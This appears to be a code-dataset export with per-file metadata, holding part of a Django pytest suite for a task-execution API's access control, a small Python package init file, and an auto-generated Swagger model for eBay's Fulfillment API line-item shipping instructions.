timezone.now() subscription = Subscription(group=group, subscription_plan=subscription_plan, active=True, start_at=utc_now - timedelta(minutes=1)) subscription.save() plan = subscription.subscription_plan assert plan is not None plan.max_task_execution_history_items = 3 plan.save() response = client.post(url, data=request_data) assert response.status_code == 201 assert TaskExecution.objects.count() == 3 for i in range(3): id = completed_task_execution_ids[i] exists = (TaskExecution.objects.filter(id=id).count() == 1) if i < 1: assert exists else: assert not exists @pytest.mark.django_db @mock_ecs @mock_sts @mock_events def test_task_execution_create_with_legacy_task_property( user_factory, group_factory, run_environment_factory, task_factory, task_execution_factory, api_client) -> None: """ Tests that the 'process_type' property sent by legacy clients is still accepted. """ user = user_factory() task_execution, api_key_run_environment, client, url = common_setup( is_authenticated=True, group_access_level=UserGroupAccessLevel.ACCESS_LEVEL_TASK, api_key_access_level=UserGroupAccessLevel.ACCESS_LEVEL_TASK, api_key_scope_type=SCOPE_TYPE_CORRECT, uuid_send_type=SEND_ID_NONE, user=user, group_factory=group_factory, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory, api_client=api_client) request_data = make_request_body(uuid_send_type=SEND_ID_NONE, task_send_type=SEND_ID_CORRECT, user=user, group_factory=group_factory, api_key_run_environment=api_key_run_environment, task_execution=task_execution, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory, task_property_name='process_type') old_count = TaskExecution.objects.count() response = client.post(url, data=request_data) assert response.status_code == 201 new_count = TaskExecution.objects.count() assert new_count == old_count + 1 response_task_execution = cast(dict[str, Any], response.data) task_execution_uuid = response_task_execution['uuid'] created_task_execution = TaskExecution.objects.get(uuid=task_execution_uuid) ensure_serialized_task_execution_valid(response_task_execution=response_task_execution, task_execution=created_task_execution, user=user, group_access_level= UserGroupAccessLevel.ACCESS_LEVEL_TASK, api_key_access_level= UserGroupAccessLevel.ACCESS_LEVEL_TASK, api_key_run_environment=api_key_run_environment) @pytest.mark.django_db @pytest.mark.parametrize(""" is_authenticated, group_access_level, api_key_access_level, api_key_scope_type, request_uuid_send_type, body_uuid_send_type, task_send_type, status_code, validation_error_attribute, error_code """, [ # Admin with unscoped API Key succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, SCOPE_TYPE_NONE, SEND_ID_CORRECT, None, None, 200, None, None), # Developer with unscoped API Key succeeds when UUID in body matches (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_NONE, SEND_ID_CORRECT, SEND_ID_CORRECT, SEND_ID_CORRECT, 200, None, None), # Developer with unscoped API Key fails with 422 when UUID in body does not match (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_NONE, SEND_ID_CORRECT, SEND_ID_WRONG, None, 422, 'uuid', 'invalid'), # Developer with unscoped API Key fails with 400 when Task is # specifically empty (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_NONE, SEND_ID_CORRECT, None, SEND_ID_NONE, 400, 'task', 'null'), # Developer with unscoped API Key cannot attach a Task in the # wrong Group (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_NONE, SEND_ID_CORRECT, None, SEND_ID_IN_WRONG_GROUP, 422, 'task', 'not_found'), # Task with properly scoped API Key succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_TASK, UserGroupAccessLevel.ACCESS_LEVEL_TASK, SCOPE_TYPE_NONE, SEND_ID_CORRECT, None, None, 200, None, None), # Support with properly scoped API Key succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_SUPPORT, UserGroupAccessLevel.ACCESS_LEVEL_SUPPORT, SCOPE_TYPE_NONE, SEND_ID_CORRECT, None, None, 200, None, None), # Observer with API Key fails with 403 (True, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, SCOPE_TYPE_NONE, SEND_ID_CORRECT, None, None, 403, None, None), # Admin with API Key with support access fails with 403 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, SCOPE_TYPE_NONE, SEND_ID_CORRECT, None, None, 403, None, None), # Admin with JWT token succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, SCOPE_TYPE_NONE, SEND_ID_CORRECT, None, None, 200, None, None), # Support user with JWT token succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_SUPPORT, None, SCOPE_TYPE_NONE, SEND_ID_CORRECT, None, None, 200, None, None), # Observer with JWT token fails with 403 (True, UserGroupAccessLevel.ACCESS_LEVEL_OBSERVER, None, SCOPE_TYPE_NONE, SEND_ID_CORRECT, None, None, 403, None, None), # Task with API key scoped to correct Run Environment, # same Run Environment in request succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_TASK, UserGroupAccessLevel.ACCESS_LEVEL_TASK, SCOPE_TYPE_CORRECT, SEND_ID_CORRECT, None, SEND_ID_CORRECT, 200, None, None), # Task with API key scoped to correct Run Environment, # omits Task in body (True, UserGroupAccessLevel.ACCESS_LEVEL_TASK, UserGroupAccessLevel.ACCESS_LEVEL_TASK, SCOPE_TYPE_CORRECT, SEND_ID_CORRECT, None, None, 200, None, None), # Developer with developer API key scoped to a Run Environment gets 400 # when specifying a different Task (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_CORRECT, SEND_ID_CORRECT, None, SEND_ID_OTHER, 422, 'task', 'invalid'), # Developer with developer API key scoped to a Run Environment gets 404 # when updating a Task Execution which has a Task scoped to a different # Run Environment (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_OTHER, SEND_ID_CORRECT, None, SEND_ID_CORRECT, 404, None, None), # Task with API key scoped to a Run Environment gets # validation error when specifying a Task in another Run Environment to # replace the existing Task (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_CORRECT, SEND_ID_CORRECT, None, SEND_ID_WITH_OTHER_RUN_ENVIRONMENT, 422, 'task', 'not_found'), # Admin with API Key, wrong UUID gets 404 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, SCOPE_TYPE_NONE, SEND_ID_NOT_FOUND, None, None, 404, None, None), # Admin with API Key with wrong group gets 404 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, SCOPE_TYPE_NONE, SEND_ID_IN_WRONG_GROUP, None, None, 404, None, None), # No authentication yields 401 (False, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, SCOPE_TYPE_NONE, SEND_ID_CORRECT, None, None, 401, None, None), ]) @mock_ecs @mock_sts @mock_events def test_task_execution_update_access_control( is_authenticated: bool, group_access_level: Optional[int], api_key_access_level: Optional[int], api_key_scope_type: str, request_uuid_send_type: str, body_uuid_send_type: Optional[str], task_send_type: str, status_code: int, validation_error_attribute: Optional[str], error_code: Optional[str], user_factory, group_factory, run_environment_factory, task_factory, task_execution_factory, api_client) -> None: """ This only tests access control to the PATCH endpoint, not the actual changes. """ user = user_factory() task_execution, api_key_run_environment, client, url = common_setup( is_authenticated=is_authenticated, group_access_level=group_access_level, api_key_access_level=api_key_access_level, api_key_scope_type=api_key_scope_type, uuid_send_type=request_uuid_send_type, user=user, group_factory=group_factory, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory, api_client=api_client) request_data = make_request_body(uuid_send_type=body_uuid_send_type, task_send_type=task_send_type, user=user, api_key_run_environment=api_key_run_environment, task_execution=task_execution, group_factory=group_factory, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory) old_count = TaskExecution.objects.count() response = client.patch(url, request_data) assert response.status_code == status_code assert TaskExecution.objects.count() == old_count task_execution.refresh_from_db() if status_code == 200: assert group_access_level is not None ensure_serialized_task_execution_valid( response_task_execution=cast(dict[str, Any], response.data), task_execution=task_execution, user=user, group_access_level=group_access_level, api_key_access_level=api_key_access_level, api_key_run_environment=api_key_run_environment) else: check_validation_error(response, validation_error_attribute, error_code) @pytest.mark.django_db @mock_ecs @mock_sts @mock_events def test_task_execution_update_conflict( user_factory, group_factory, run_environment_factory, task_factory, task_execution_factory, api_client) -> None: """ Test status code if response Task Execution status does not match request. """ task_execution, api_key_run_environment, client, url = common_setup( is_authenticated=True, group_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_access_level=UserGroupAccessLevel.ACCESS_LEVEL_TASK, api_key_scope_type=SCOPE_TYPE_NONE, uuid_send_type=SEND_ID_CORRECT, user=user_factory(), group_factory=group_factory, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory, api_client=api_client) task_execution.status = TaskExecution.Status.STOPPING task_execution.save() response = client.patch(url, { 'status': TaskExecution.Status.RUNNING.name }) assert response.status_code == 409 response_dict = cast(dict[str, Any], response.data) assert response_dict['status'] == TaskExecution.Status.STOPPED.name @pytest.mark.django_db @mock_ecs @mock_sts @mock_events def test_task_execution_update_unmodifiable_properties( user_factory, group_factory, run_environment_factory, task_factory, task_execution_factory, api_client) -> None: user = user_factory() task_execution, api_key_run_environment, client, url = common_setup( is_authenticated=True, group_access_level=UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, api_key_access_level=UserGroupAccessLevel.ACCESS_LEVEL_TASK, api_key_scope_type=SCOPE_TYPE_NONE, uuid_send_type=SEND_ID_CORRECT, user=user_factory(), group_factory=group_factory, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory, api_client=api_client) finished_at = timezone.now() started_at = timezone.now() - timedelta(seconds=120) task_execution.started_at = started_at task_execution.started_by = user task_execution.finished_at = finished_at task_execution.kill_started_at = finished_at task_execution.kill_finished_at = finished_at task_execution.killed_by = user task_execution.marked_done_at = finished_at task_execution.marked_done_by = user task_execution.status = TaskExecution.Status.STOPPING task_execution.save() user_2 = user_factory() response = client.patch(url, { 'status': TaskExecution.Status.STOPPED.name, 'started_at': '2020-09-01T00:00:00Z', 'started_by': user_2.username, 'finished_at': '2020-09-01T00:20:00Z', 'killed_by': user_2.username, 'kill_started_at': '2020-09-01T00:10:00Z', 'kill_finished_at': '2020-09-01T00:15:00Z', 'marked_done_by': user_2.username, 'marked_done_at': '2020-09-01T00:09:00Z', }) assert response.status_code == 200 response_dict = cast(dict[str, Any], response.data) assert response_dict['status'] == TaskExecution.Status.STOPPED.name assert response_dict['started_by'] == user.username assert response_dict['started_at'] == iso8601_with_z(started_at) assert response_dict['finished_at'] == iso8601_with_z(finished_at) assert response_dict['killed_by'] == user.username assert response_dict['kill_started_at'] == iso8601_with_z(finished_at) assert response_dict['kill_finished_at'] == iso8601_with_z(finished_at) assert response_dict['marked_done_by'] == user.username assert response_dict['marked_done_at'] == iso8601_with_z(finished_at) @pytest.mark.django_db @pytest.mark.parametrize(""" is_authenticated, group_access_level, api_key_access_level, api_key_scope_type, uuid_send_type, status_code """, [ # Admin with API Key succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, SEND_ID_CORRECT, 204), # Developer with API Key succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, None, SEND_ID_CORRECT, 204), # Support user with API Key fails with 403 (True, UserGroupAccessLevel.ACCESS_LEVEL_SUPPORT, UserGroupAccessLevel.ACCESS_LEVEL_SUPPORT, None, SEND_ID_CORRECT, 403), # Admin with API Key with support access fails with 403 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_SUPPORT, None, SEND_ID_CORRECT, 403), # Admin with JWT token succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, None, SEND_ID_CORRECT, 204), # Developer with JWT token succeeds (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, None, None, SEND_ID_CORRECT, 204), # Observer with JWT token failes with 403 (True, UserGroupAccessLevel.ACCESS_LEVEL_SUPPORT, None, None, SEND_ID_CORRECT, 403), # Developer with developer API key scoped to correct Run Environment, explicit group finds the desired one (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_CORRECT, SEND_ID_CORRECT, 204), # Developer with developer API key scoped to different Run Environment gets 404 (True, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, UserGroupAccessLevel.ACCESS_LEVEL_DEVELOPER, SCOPE_TYPE_OTHER, SEND_ID_CORRECT, 404), # Admin with API Key, wrong UUID gets 404 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, SEND_ID_NOT_FOUND, 404), # Admin with API Key with wrong group gets 404 (True, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, SEND_ID_IN_WRONG_GROUP, 404), # No authentication yields 401 (False, UserGroupAccessLevel.ACCESS_LEVEL_ADMIN, None, None, SEND_ID_CORRECT, 401), ]) @mock_ecs @mock_sts @mock_events def test_task_execution_delete( is_authenticated: bool, group_access_level: Optional[int], api_key_access_level: Optional[int], api_key_scope_type: str, uuid_send_type: str, status_code: int, user_factory, group_factory, run_environment_factory, task_factory, task_execution_factory, api_client) -> None: user = user_factory() task_execution, api_key_run_environment, client, url = common_setup( is_authenticated=is_authenticated, group_access_level=group_access_level, api_key_access_level=api_key_access_level, api_key_scope_type=api_key_scope_type, uuid_send_type=uuid_send_type, user=user, group_factory=group_factory, run_environment_factory=run_environment_factory, task_factory=task_factory, task_execution_factory=task_execution_factory, api_client=api_client) response = client.delete(url) assert response.status_code == status_code exists = TaskExecution.objects.filter(pk=task_execution.pk).exists() if status_code == 204: assert not exists else: assert exists
36.439427
109
0.707119
6,161
50,833
5.435157
0.046746
0.084095
0.140716
0.076301
0.857134
0.817954
0.77949
0.743983
0.725736
0.704294
0
0.013295
0.224677
50,833
1,394
110
36.465567
0.836344
0.097102
0
0.722433
0
0
0.040983
0.008124
0
0
0
0.000717
0.044677
1
0.013308
false
0.007605
0.013308
0
0.028517
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ac7a92cef46ab1c15b742fe4f7277ca542509d0d
137
py
Python
resize_images_pascalvoc/__ init __.py
molu1019/CycleGAN-Tensorflow-2
69e51007718b76595313b24ed1fb7c3ee5ea346c
[ "MIT" ]
null
null
null
resize_images_pascalvoc/__ init __.py
molu1019/CycleGAN-Tensorflow-2
69e51007718b76595313b24ed1fb7c3ee5ea346c
[ "MIT" ]
null
null
null
resize_images_pascalvoc/__ init __.py
molu1019/CycleGAN-Tensorflow-2
69e51007718b76595313b24ed1fb7c3ee5ea346c
[ "MIT" ]
null
null
null
from resize_images_pascalvoc.resize_main import * from resize_images_pascalvoc.utils import * from resize_images_pascalvoc.image import *
45.666667
49
0.875912
19
137
5.947368
0.421053
0.265487
0.424779
0.663717
0.548673
0
0
0
0
0
0
0
0.080292
137
3
50
45.666667
0.896825
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
ce16c9b3ba38cfc8370376c6c47de3f380088f32
16,669
py
Python
src/ebay_rest/api/sell_fulfillment/models/line_item_fulfillment_instructions.py
matecsaj/ebay_rest
dd23236f39e05636eff222f99df1e3699ce47d4a
[ "MIT" ]
3
2021-12-12T04:28:03.000Z
2022-03-10T03:29:18.000Z
src/ebay_rest/api/sell_fulfillment/models/line_item_fulfillment_instructions.py
jdavv/ebay_rest
20fc88c6aefdae9ab90f9c1330e79abddcd750cd
[ "MIT" ]
33
2021-06-16T20:44:36.000Z
2022-03-30T14:55:06.000Z
src/ebay_rest/api/sell_fulfillment/models/line_item_fulfillment_instructions.py
jdavv/ebay_rest
20fc88c6aefdae9ab90f9c1330e79abddcd750cd
[ "MIT" ]
7
2021-06-03T09:30:23.000Z
2022-03-08T19:51:33.000Z
# coding: utf-8 """ Fulfillment API Use the Fulfillment API to complete the process of packaging, addressing, handling, and shipping each order on behalf of the seller, in accordance with the payment method and timing specified at checkout. # noqa: E501 OpenAPI spec version: v1.19.10 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class LineItemFulfillmentInstructions(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'guaranteed_delivery': 'bool', 'max_estimated_delivery_date': 'str', 'min_estimated_delivery_date': 'str', 'ship_by_date': 'str' } attribute_map = { 'guaranteed_delivery': 'guaranteedDelivery', 'max_estimated_delivery_date': 'maxEstimatedDeliveryDate', 'min_estimated_delivery_date': 'minEstimatedDeliveryDate', 'ship_by_date': 'shipByDate' } def __init__(self, guaranteed_delivery=None, max_estimated_delivery_date=None, min_estimated_delivery_date=None, ship_by_date=None): # noqa: E501 """LineItemFulfillmentInstructions - a model defined in Swagger""" # noqa: E501 self._guaranteed_delivery = None self._max_estimated_delivery_date = None self._min_estimated_delivery_date = None self._ship_by_date = None self.discriminator = None if guaranteed_delivery is not None: self.guaranteed_delivery = guaranteed_delivery if max_estimated_delivery_date is not None: self.max_estimated_delivery_date = max_estimated_delivery_date if min_estimated_delivery_date is not None: self.min_estimated_delivery_date = min_estimated_delivery_date if ship_by_date is not None: self.ship_by_date = ship_by_date @property def guaranteed_delivery(self): """Gets the guaranteed_delivery of this LineItemFulfillmentInstructions. # noqa: E501 This field is returned as <code>true</code> if the order line item is qualified for eBay Guaranteed Delivery, or <code>false</code> if it is not eligible. Only domestic shipments are available for eBay Guaranteed Delivery. At this time, eBay Guaranteed Delivery is only available to a select number of sellers on the US and Australia sites, but this feature will be enabled on more eBay sites in 2019.<br/><br/> There are two different eBay Guaranteed Delivery options - 'Handling time' option and 'Door-to-Door' option. With both options, the seller is commiting to getting the order delivered to the buyer within three business days after purchase. <br/><br/> With the 'Handling time' option, the seller's stated handling time for a listing must be 'same-day' or '1-day', and at least one of the available shipping service options should have a shipping time that guarantees that the buyer receives the order on time. With this option, eBay will set the 'ship-by date' and expected delivery window for the seller, and the seller should just make sure they physically ship the order by the <strong>shipToDate</strong>.<br/><br/> With the 'Door-to-door' option, the seller must create regional shipping rate tables (with shipping costs and delivery times based on destination regions), and then apply these regional shipping rates/delivery times to the listing. <br/><br/> If a 'Door-to-door' order does not arrive on time, the seller must refund the buyer the full shipping cost (if any), and the buyer also has the option of returning the item for a full refund, and the seller will also have to pay the return shipping cost. With 'Handling time' option, as long as the seller meets the stated handling time, and ships using the correct shipping service option, eBay will refund the buyer the shipping cost and pay for return shipping label (if buyer wants to return item) if the order arrives after the expected delivery time. <br/><br/> For more information on the details and requirements of eBay Guaranteed Delivery, see the <a href=\"https://www.ebay.com/help/selling/shipping-items/offering-ebay-guaranteed-delivery?id=4645\" target=\"_blank\">Offering eBay Guaranteed Delivery</a> help topic.<br/><br/> This field will always be returned regardless of whether the listing site offers eBay Guaranteed Delivery or if the seller is opted in to the feature. # noqa: E501 :return: The guaranteed_delivery of this LineItemFulfillmentInstructions. # noqa: E501 :rtype: bool """ return self._guaranteed_delivery @guaranteed_delivery.setter def guaranteed_delivery(self, guaranteed_delivery): """Sets the guaranteed_delivery of this LineItemFulfillmentInstructions. This field is returned as <code>true</code> if the order line item is qualified for eBay Guaranteed Delivery, or <code>false</code> if it is not eligible. Only domestic shipments are available for eBay Guaranteed Delivery. At this time, eBay Guaranteed Delivery is only available to a select number of sellers on the US and Australia sites, but this feature will be enabled on more eBay sites in 2019.<br/><br/> There are two different eBay Guaranteed Delivery options - 'Handling time' option and 'Door-to-Door' option. With both options, the seller is commiting to getting the order delivered to the buyer within three business days after purchase. <br/><br/> With the 'Handling time' option, the seller's stated handling time for a listing must be 'same-day' or '1-day', and at least one of the available shipping service options should have a shipping time that guarantees that the buyer receives the order on time. With this option, eBay will set the 'ship-by date' and expected delivery window for the seller, and the seller should just make sure they physically ship the order by the <strong>shipToDate</strong>.<br/><br/> With the 'Door-to-door' option, the seller must create regional shipping rate tables (with shipping costs and delivery times based on destination regions), and then apply these regional shipping rates/delivery times to the listing. <br/><br/> If a 'Door-to-door' order does not arrive on time, the seller must refund the buyer the full shipping cost (if any), and the buyer also has the option of returning the item for a full refund, and the seller will also have to pay the return shipping cost. With 'Handling time' option, as long as the seller meets the stated handling time, and ships using the correct shipping service option, eBay will refund the buyer the shipping cost and pay for return shipping label (if buyer wants to return item) if the order arrives after the expected delivery time. <br/><br/> For more information on the details and requirements of eBay Guaranteed Delivery, see the <a href=\"https://www.ebay.com/help/selling/shipping-items/offering-ebay-guaranteed-delivery?id=4645\" target=\"_blank\">Offering eBay Guaranteed Delivery</a> help topic.<br/><br/> This field will always be returned regardless of whether the listing site offers eBay Guaranteed Delivery or if the seller is opted in to the feature. # noqa: E501 :param guaranteed_delivery: The guaranteed_delivery of this LineItemFulfillmentInstructions. # noqa: E501 :type: bool """ self._guaranteed_delivery = guaranteed_delivery @property def max_estimated_delivery_date(self): """Gets the max_estimated_delivery_date of this LineItemFulfillmentInstructions. # noqa: E501 The estimated latest date and time that the buyer can expect to receive the line item based on the seller's stated handling time and the transit times of the available shipping service options. If the listing is eligible for eBay Guaranteed Delivery (value of <b>guaranteedDelivery</b> field is <code>true</code>, the seller must pay extra attention to this date, as a failure to deliver by this date/time can result in a 'Late shipment' seller defect, and can affect seller level and Top-Rated Seller status. In addition to the seller defect, buyers will be eligible for a shipping cost refund, and will also be eligible to return the item for a full refund (with no return shipping charge) if they choose. <br /><br /><span class=\"tablenote\"><strong>Note:</strong> This timestamp is in ISO 8601 format, which uses the 24-hour Universal Coordinated Time (UTC) clock. <br /><br /><b>Format:</b> <code>[YYYY]-[MM]-[DD]T[hh]:[mm]:[ss].[sss]Z</code> <br /><b>Example:</b> <code>2015-08-04T19:09:02.768Z</code></span> # noqa: E501 :return: The max_estimated_delivery_date of this LineItemFulfillmentInstructions. # noqa: E501 :rtype: str """ return self._max_estimated_delivery_date @max_estimated_delivery_date.setter def max_estimated_delivery_date(self, max_estimated_delivery_date): """Sets the max_estimated_delivery_date of this LineItemFulfillmentInstructions. The estimated latest date and time that the buyer can expect to receive the line item based on the seller's stated handling time and the transit times of the available shipping service options. If the listing is eligible for eBay Guaranteed Delivery (value of <b>guaranteedDelivery</b> field is <code>true</code>, the seller must pay extra attention to this date, as a failure to deliver by this date/time can result in a 'Late shipment' seller defect, and can affect seller level and Top-Rated Seller status. In addition to the seller defect, buyers will be eligible for a shipping cost refund, and will also be eligible to return the item for a full refund (with no return shipping charge) if they choose. <br /><br /><span class=\"tablenote\"><strong>Note:</strong> This timestamp is in ISO 8601 format, which uses the 24-hour Universal Coordinated Time (UTC) clock. <br /><br /><b>Format:</b> <code>[YYYY]-[MM]-[DD]T[hh]:[mm]:[ss].[sss]Z</code> <br /><b>Example:</b> <code>2015-08-04T19:09:02.768Z</code></span> # noqa: E501 :param max_estimated_delivery_date: The max_estimated_delivery_date of this LineItemFulfillmentInstructions. # noqa: E501 :type: str """ self._max_estimated_delivery_date = max_estimated_delivery_date @property def min_estimated_delivery_date(self): """Gets the min_estimated_delivery_date of this LineItemFulfillmentInstructions. # noqa: E501 The estimated earliest date and time that the buyer can expect to receive the line item based on the seller's stated handling time and the transit times of the available shipping service options.<br /><br /><span class=\"tablenote\"><strong>Note:</strong> This timestamp is in ISO 8601 format, which uses the 24-hour Universal Coordinated Time (UTC) clock. <br /><br /><b>Format:</b> <code>[YYYY]-[MM]-[DD]T[hh]:[mm]:[ss].[sss]Z</code> <br /><b>Example:</b> <code>2015-08-04T19:09:02.768Z</code></span> # noqa: E501 :return: The min_estimated_delivery_date of this LineItemFulfillmentInstructions. # noqa: E501 :rtype: str """ return self._min_estimated_delivery_date @min_estimated_delivery_date.setter def min_estimated_delivery_date(self, min_estimated_delivery_date): """Sets the min_estimated_delivery_date of this LineItemFulfillmentInstructions. The estimated earliest date and time that the buyer can expect to receive the line item based on the seller's stated handling time and the transit times of the available shipping service options.<br /><br /><span class=\"tablenote\"><strong>Note:</strong> This timestamp is in ISO 8601 format, which uses the 24-hour Universal Coordinated Time (UTC) clock. <br /><br /><b>Format:</b> <code>[YYYY]-[MM]-[DD]T[hh]:[mm]:[ss].[sss]Z</code> <br /><b>Example:</b> <code>2015-08-04T19:09:02.768Z</code></span> # noqa: E501 :param min_estimated_delivery_date: The min_estimated_delivery_date of this LineItemFulfillmentInstructions. # noqa: E501 :type: str """ self._min_estimated_delivery_date = min_estimated_delivery_date @property def ship_by_date(self): """Gets the ship_by_date of this LineItemFulfillmentInstructions. # noqa: E501 The latest date and time by which the seller should ship line item in order to meet the expected delivery window. This timestamp will be set by eBay based on time of purchase and the seller's stated handling time. If the listing is eligible for eBay Guaranteed Delivery (value of <b>guaranteedDelivery</b> field is <code>true</code>, the seller must pay extra attention to this date, as a failure to physically ship the line item by this date/time can result in a 'Late shipment' seller defect, and can affect seller level and Top-Rated Seller status. In addition to the seller defect, buyers will be eligible for a shipping cost refund, and will also be eligible to return the item for a full refund (with no return shipping charge) if they choose. <br /><br /><span class=\"tablenote\"><strong>Note:</strong> This timestamp is in ISO 8601 format, which uses the 24-hour Universal Coordinated Time (UTC) clock. <br /><br /><b>Format:</b> <code>[YYYY]-[MM]-[DD]T[hh]:[mm]:[ss].[sss]Z</code> <br /><b>Example:</b> <code>2015-08-04T19:09:02.768Z</code></span> # noqa: E501 :return: The ship_by_date of this LineItemFulfillmentInstructions. # noqa: E501 :rtype: str """ return self._ship_by_date @ship_by_date.setter def ship_by_date(self, ship_by_date): """Sets the ship_by_date of this LineItemFulfillmentInstructions. The latest date and time by which the seller should ship line item in order to meet the expected delivery window. This timestamp will be set by eBay based on time of purchase and the seller's stated handling time. If the listing is eligible for eBay Guaranteed Delivery (value of <b>guaranteedDelivery</b> field is <code>true</code>, the seller must pay extra attention to this date, as a failure to physically ship the line item by this date/time can result in a 'Late shipment' seller defect, and can affect seller level and Top-Rated Seller status. In addition to the seller defect, buyers will be eligible for a shipping cost refund, and will also be eligible to return the item for a full refund (with no return shipping charge) if they choose. <br /><br /><span class=\"tablenote\"><strong>Note:</strong> This timestamp is in ISO 8601 format, which uses the 24-hour Universal Coordinated Time (UTC) clock. <br /><br /><b>Format:</b> <code>[YYYY]-[MM]-[DD]T[hh]:[mm]:[ss].[sss]Z</code> <br /><b>Example:</b> <code>2015-08-04T19:09:02.768Z</code></span> # noqa: E501 :param ship_by_date: The ship_by_date of this LineItemFulfillmentInstructions. # noqa: E501 :type: str """ self._ship_by_date = ship_by_date def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(LineItemFulfillmentInstructions, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, LineItemFulfillmentInstructions): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
84.614213
2,385
0.719659
2,475
16,669
4.75596
0.125657
0.059638
0.067794
0.038739
0.838501
0.810891
0.788548
0.773766
0.739954
0.703509
0
0.017691
0.196293
16,669
196
2,386
85.045918
0.860939
0.735917
0
0.068966
0
0
0.074906
0.041734
0
0
0
0
0
1
0.16092
false
0
0.034483
0
0.344828
0.022989
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ce2aeed22cce026e2ff615ad0813e1d0851565d7
14,007
py
Python
tests/test_executor.py
yerejm/ttt
5038c4ca5614134616dd1520e5315dbcad550735
[ "0BSD" ]
null
null
null
tests/test_executor.py
yerejm/ttt
5038c4ca5614134616dd1520e5315dbcad550735
[ "0BSD" ]
null
null
null
tests/test_executor.py
yerejm/ttt
5038c4ca5614134616dd1520e5315dbcad550735
[ "0BSD" ]
null
null
null
